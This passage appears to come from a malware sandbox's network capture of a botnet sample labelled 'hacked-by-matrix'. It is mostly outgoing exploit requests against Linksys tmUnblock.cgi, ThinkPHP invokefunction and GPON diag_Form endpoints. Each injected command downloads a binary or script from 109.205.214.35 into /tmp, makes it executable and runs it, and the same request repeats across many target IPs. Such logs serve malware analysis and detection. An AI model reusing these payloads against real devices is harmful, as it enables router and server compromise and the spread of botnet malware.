3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Mar 21, 2024 05:23:34.923269987 CET	521	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Thu, 21 Mar 2024 04:13:36 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1673	192.168.2.13	56674	109.33.78.3	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.379683971 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:36.623347044 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:42.767381907 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1674	192.168.2.13	35620	88.202.237.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.699671984 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:33.895191908 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:23:33 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1675	192.168.2.13	58398	172.67.176.0	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.795614004 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:34.316248894 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1676	192.168.2.13	57968	109.54.108.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815129995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1677	192.168.2.13	53950	109.185.37.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815176010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1678	192.168.2.13	47376	109.184.116.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815207958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1679	192.168.2.13	53788	5.89.72.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815211058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1680	192.168.2.13	55370	118.229.212.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815249920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1681	192.168.2.13	58864	109.57.37.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815278053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1682	192.168.2.13	56880	5.67.179.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815288067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1683	192.168.2.13	44680	42.12.151.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815301895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1684	192.168.2.13	52896	5.150.97.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815326929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1685	192.168.2.13	42792	5.218.144.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815331936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1686	192.168.2.13	54902	109.9.87.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815387964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1687	192.168.2.13	35078	118.169.72.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815407038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1688	192.168.2.13	43534	42.101.163.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815422058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1689	192.168.2.13	53772	212.185.235.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815488100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1690	192.168.2.13	33086	109.81.163.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815504074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1691	192.168.2.13	57852	118.207.205.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815515995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1692	192.168.2.13	58238	42.154.185.90	443

Timestamp	Bytes transferred	Direction	Data
